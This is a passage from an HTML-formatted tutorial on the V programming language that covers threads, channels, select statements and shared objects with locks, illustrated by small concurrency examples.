</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">h1</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">get_hypot</span>(<span style="color:#ae81ff">2.32</span>, <span style="color:#ae81ff">16.74</span>) <span style="color:#75715e">//   do some other calculation here</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">h2</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">g</span>.<span style="color:#a6e22e">wait</span>() <span style="color:#75715e">//                 get result from spawned thread</span>
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Results</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">h1</span>}, <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">h2</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) <span style="color:#75715e">//   prints `Results: 16.9, 54.1`</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If there is a large number of tasks, it might be easier to manage them using an array of <code>threads</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">time</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">task</span>(<span style="color:#a6e22e">id</span> <span style="color:#66d9ef">int</span>, <span style="color:#a6e22e">duration</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">task</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">id</span>} <span style="color:#a6e22e">begin</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">sleep</span>(<span style="color:#a6e22e">duration</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">millisecond</span>)
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">task</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">id</span>} <span style="color:#a6e22e">end</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">threads</span> <span style="color:#f92672">:=</span> []<span style="color:#a6e22e">thread</span>{}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">threads</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">task</span>(<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">500</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">threads</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">task</span>(<span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">900</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">threads</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">task</span>(<span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">threads</span>.<span style="color:#a6e22e">wait</span>()
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">done</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Output:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// task 1 begin</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// task 2 begin</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// task 3 begin</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// task 3 end</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// task 1 end</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// task 2 end</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// done</span>
</span></span></code></pre></div><p>Additionally for threads that return the same type, calling <code>wait()</code> on the thread array will return all computed values.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">expensive_computing</span>(<span style="color:#a6e22e">i</span> <span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">i</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">threads</span> <span style="color:#f92672">:=</span> []<span style="color:#a6e22e">thread</span> <span style="color:#66d9ef">int</span>{}
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">1</span> .. <span style="color:#ae81ff">10</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">threads</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">expensive_computing</span>(<span style="color:#a6e22e">i</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Join all tasks</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">r</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">threads</span>.<span style="color:#a6e22e">wait</span>()
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">All</span> <span style="color:#a6e22e">jobs</span> <span style="color:#a6e22e">finished</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">r</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Output: All jobs finished: [1, 4, 9, 16, 25, 36, 49, 64, 81]</span>
</span></span></code></pre></div><h3 id="concurrency-communicating-over-channels">Concurrency: communicating over Channels</h3>
<p>Channels are the preferred way to communicate between threads. They allow threads to exchange data safely without requiring explicit locking. V&rsquo;s channels are similar to those in Go, enabling you to push objects into a channel on one end and pop objects from the other. Channels can be buffered or unbuffered, and you can use the <code>select</code> statement to monitor multiple channels simultaneously.</p>
<p>Channels are declared with the type <code>chan</code> objtype. You can optionally specify a buffer length using the <code>cap</code> field:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{} <span style="color:#75715e">// unbuffered - &#34;synchronous&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ch2</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">100</span>} <span style="color:#75715e">// buffered with a capacity of 100</span>
</span></span></code></pre></div><p>You can define channels of various types, depending on the type of data you intend to pass via the channel (int, f64 in the example above).</p>
<p>Channels do not have to be declared as <code>mut</code>. <strong>The buffer length is not part of the type but a field of the individual channel object</strong>. Channels can be passed to threads like normal variables:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">time</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">ch</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0</span> .. <span style="color:#ae81ff">5</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ch</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">i</span> <span style="color:#75715e">// push values into the channel</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">clock</span>(<span style="color:#a6e22e">ch</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0</span> .. <span style="color:#ae81ff">5</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">sleep</span>(<span style="color:#ae81ff">1</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">second</span>)
</span></span><span style="display:flex;"><span>        println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Clock</span> <span style="color:#a6e22e">tick</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ch</span> <span style="color:#f92672">&lt;-</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1000</span>) <span style="color:#75715e">// push a value into the channel</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch</span>.close() <span style="color:#75715e">// close the channel when done</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">5</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">ch</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">clock</span>(<span style="color:#a6e22e">ch</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">value</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch</span> <span style="color:#a6e22e">or</span> { <span style="color:#75715e">// receive/pop values from the channel</span>
</span></span><span style="display:flex;"><span>            println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Channel</span> <span style="color:#a6e22e">closed</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Received</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">value</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Buffered channels allow you to push multiple items without blocking, as long as the buffer is not full:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">string</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">2</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ch</span> <span style="color:#f92672">&lt;-</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">hello</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ch</span> <span style="color:#f92672">&lt;-</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">world</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ch &lt;- &#39;!&#39; // This would block because the buffer is full</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>println(<span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch</span>) <span style="color:#75715e">// &#34;hello&#34;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch</span>) <span style="color:#75715e">// &#34;world&#34;</span>
</span></span></code></pre></div><p>A channel can be closed to indicate that no further objects can be pushed. Any attempt to do so will then result in a runtime panic (with the exception of select and try_push() - see below). Attempts to pop will return immediately if the associated channel has been closed and the buffer is empty. This situation can be handled using an or {} block.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ch2</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>{}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ch</span>.close()
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">m</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch</span> <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">channel</span> <span style="color:#a6e22e">has</span> <span style="color:#a6e22e">been</span> <span style="color:#a6e22e">closed</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// propagate error</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">y</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch2</span> <span style="color:#960050;background-color:#1e0010">?</span>
</span></span></code></pre></div><h4 id="channel-select">Channel Select</h4>
<p>The <code>select</code> command allows monitoring several channels at the same time without noticeable CPU load. It consists of a list of possible transfers and associated branches of statements - similar to the match command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">time</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>{}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch2</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>{}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch3</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>{}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0.0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">1.0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ... setup spawn threads that will send on ch/ch2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">the_channel</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">sleep</span>(<span style="color:#ae81ff">5</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">millisecond</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">the_channel</span> <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">1.0</span>
</span></span><span style="display:flex;"><span>    }(<span style="color:#a6e22e">ch</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">the_channel</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">sleep</span>(<span style="color:#ae81ff">1</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">millisecond</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">the_channel</span> <span style="color:#f92672">&lt;-</span> <span style="color:#ae81ff">1.0</span>
</span></span><span style="display:flex;"><span>    }(<span style="color:#a6e22e">ch2</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">the_channel</span> <span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">f64</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">_</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">the_channel</span>
</span></span><span style="display:flex;"><span>    }(<span style="color:#a6e22e">ch3</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">select</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// do something with `a`</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">eprintln</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span>&gt; <span style="color:#a6e22e">a</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">a</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">b</span> = <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch2</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// do something with predeclared variable `b`</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">eprintln</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span>&gt; <span style="color:#a6e22e">b</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">b</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ch3</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">c</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// do something if `c` was sent</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">sleep</span>(<span style="color:#ae81ff">5</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">millisecond</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">eprintln</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span>&gt; <span style="color:#a6e22e">c</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">c</span>} <span style="color:#a6e22e">was</span> <span style="color:#a6e22e">send</span> <span style="color:#a6e22e">on</span> <span style="color:#a6e22e">channel</span> <span style="color:#a6e22e">ch3</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">500</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">millisecond</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// do something if no channel has become ready within 0.5s</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">eprintln</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span>&gt; <span style="color:#a6e22e">more</span> <span style="color:#a6e22e">than</span> <span style="color:#ae81ff">0.5</span><span style="color:#a6e22e">s</span> <span style="color:#a6e22e">passed</span> <span style="color:#a6e22e">without</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">channel</span> <span style="color:#a6e22e">being</span> <span style="color:#a6e22e">ready</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">eprintln</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span>&gt; <span style="color:#a6e22e">done</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The timeout branch is optional. If it is absent <code>select</code> waits for an unlimited amount of time. It is also possible to proceed immediately if no channel is ready in the moment <code>select</code> is called by adding an <code>else { ... }</code> branch. <code>else</code> and <code>&lt;timeout&gt;</code> are mutually exclusive.</p>
<p>The select command can be used as an expression of type bool that becomes false if all channels are closed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#66d9ef">select</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">a</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>} {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// channel was open</span>
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// channel is closed</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>For special purposes there are some builtin fields and methods:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">2</span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// try to perfomr ch &lt;- 42</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">try_push</span>(<span style="color:#ae81ff">42</span>)) <span style="color:#75715e">// `success` if pushed, `not_ready` if full, `closed` if closed</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">len</span>) <span style="color:#75715e">// Number of items in the buffer</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">cap</span>) <span style="color:#75715e">// Buffer capacity</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">closed</span>) <span style="color:#75715e">// Whether the channel is closed</span>
</span></span></code></pre></div><blockquote>
<p>The <code>try_push/pop()</code> methods will return immediately with one of the results <code>success</code>, <code>not_ready</code> or <code>closed</code> - dependent on whether the object has been transferred or the reason why not. Usage of these methods and fields in production is not recommended - algorithms based on them are often subject to race conditions. Especially <code>.len</code> and <code>.closed</code> should not be used to make decisions. Use <code>or</code> branches, error propagation or <code>select</code> instead.</p>
</blockquote>
<h3 id="concurrency-shared-objects">Concurrency: Shared Objects</h3>
<p>Data can be exchanged between a thread and the calling thread via a shared variable. Such variables should be created as <code>shared</code> and passed to the thread as such, too. The underlying <code>struct</code> contains a hidden <em>mutex</em> that allows locking concurrent access using <code>rlock</code> for read-only and <code>lock</code> for read/write access.</p>
<blockquote>
<p>Note: Shared variables must be structs, arrays or maps.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Counter</span> {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">value</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">shared</span> <span style="color:#a6e22e">counter</span> <span style="color:#a6e22e">Counter</span>) <span style="color:#a6e22e">increment</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">lock</span> <span style="color:#a6e22e">counter</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">counter</span>.<span style="color:#a6e22e">value</span> <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Incremented</span> <span style="color:#a6e22e">to</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">counter</span>.<span style="color:#a6e22e">value</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">shared</span> <span style="color:#a6e22e">counter</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Counter</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">counter</span>.<span style="color:#a6e22e">increment</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">counter</span>.<span style="color:#a6e22e">increment</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">rlock</span> <span style="color:#a6e22e">counter</span> {
</span></span><span style="display:flex;"><span>        println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Final</span> <span style="color:#a6e22e">value</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">counter</span>.<span style="color:#a6e22e">value</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="difference-between-channels-and-shared-objects">Difference Between Channels and Shared Objects</h3>
<p>Purpose:</p>
<ul>
<li>Channels: Used for message passing between threads, ensuring safe communication.</li>
<li>Shared objects: Used for direct data sharing and modification between threads.</li>
</ul>
<p>Synchronization:</p>
<ul>
<li>Channels: Implicit (via channel operations)</li>
<li>Shared objects: Explicit (via rlock/lock blocks)</li>
</ul>
<h3 id="optionresult-types-and-error-handling">Option/Result types and error handling</h3>
<p><strong>Option</strong> types can represent a value or <code>none</code>.
<strong>Result</strong> types may represent a value, or an <code>error</code> returned from a function.</p>
<p>Option types are declared by prepending <code>?</code> to the type name: <code>?Type</code>. Result types use <code>!</code>: <code>!Type</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">id</span>   <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span> <span style="color:#66d9ef">string</span>
